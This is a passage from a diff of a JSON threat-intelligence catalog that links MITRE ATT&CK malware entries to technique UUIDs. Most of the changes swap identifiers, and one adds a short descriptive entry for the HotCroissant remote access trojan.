"dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17247,14 +19095,14 @@ "type": "uses" }, { - "dest-uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", + "dest-uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17275,7 +19123,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17296,14 +19144,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17317,14 +19165,14 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17352,14 +19200,14 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17373,7 +19221,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17408,7 +19256,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17429,35 +19277,35 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17471,7 +19319,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17484,6 +19332,20 @@ ], "type": "uses" }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", "tags": [ @@ -17492,21 +19354,14 @@ "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17554,7 +19409,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17582,42 +19437,42 @@ }, "related": [ { - "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b", + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17664,28 +19519,28 @@ "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17699,14 +19554,14 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17720,14 +19575,14 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17741,7 +19596,7 @@ "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17769,42 +19624,42 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18028,6 +19883,167 @@ "uuid": "936be60d-90eb-4c36-9247-4b31128432c4", "value": "RuMMS - S0313" }, + { + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA.(Citation: US-CERT HOTCROISSANT February 2020) [HotCroissant](https://attack.mitre.org/software/S0431) shares numerous code similarities with [Rifdoor](https://attack.mitre.org/software/S0433).(Citation: Carbon Black HotCroissant April 2020)", + "meta": { + "external_id": "S0431", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0431", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d", + "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/" + ], + "synonyms": [ + "HotCroissant" + ] + }, + "related": [ + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "aad11e34-02ca-4220-91cd-2ed420af4db3", + "value": "HotCroissant - S0431" + }, { "description": "[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)", "meta": { @@ -18060,21 +20076,21 @@ "type": "similar" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18088,7 +20104,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18125,13 +20141,6 @@ ], "type": "similar" }, - { - "dest-uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ @@ -18140,21 +20149,21 @@ "type": "uses" }, { - "dest-uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "dest-uuid": "613d08bc-e8f4-4791-80b0-c8b974340dfd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18168,7 +20177,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18187,6 +20196,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498", @@ -18210,7 +20226,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18224,14 +20240,14 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18245,21 +20261,21 @@ "type": "uses" }, { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18273,14 +20289,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18294,7 +20310,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18313,6 +20329,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "6a92d80f-cc65-45f6-aa66-3cdea6786b3c", @@ -18342,7 +20365,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18370,7 +20393,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18405,7 +20428,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18433,7 +20456,7 @@ "type": "uses" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18496,7 +20519,7 @@ }, "related": [ { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18610,14 +20633,14 @@ "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18631,7 +20654,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18652,21 +20675,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18680,7 +20703,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18701,7 +20724,7 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18727,6 +20750,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5", @@ -18759,7 +20789,7 @@ "type": "similar" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18787,7 +20817,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18801,21 +20831,21 @@ "type": "uses" }, { - "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18843,7 +20873,7 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18868,8 +20898,7 @@ "macOS" ], "refs": [ - "https://attack.mitre.org/software/S0163", - "http://www.thesafemac.com/new-signed-malware-called-janicab/" + "https://attack.mitre.org/software/S0163" ], "synonyms": [ "Janicab" @@ -18884,14 +20913,14 @@ "type": "similar" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18964,7 +20993,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18978,35 +21007,42 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19033,14 +21069,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19067,42 +21096,42 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": 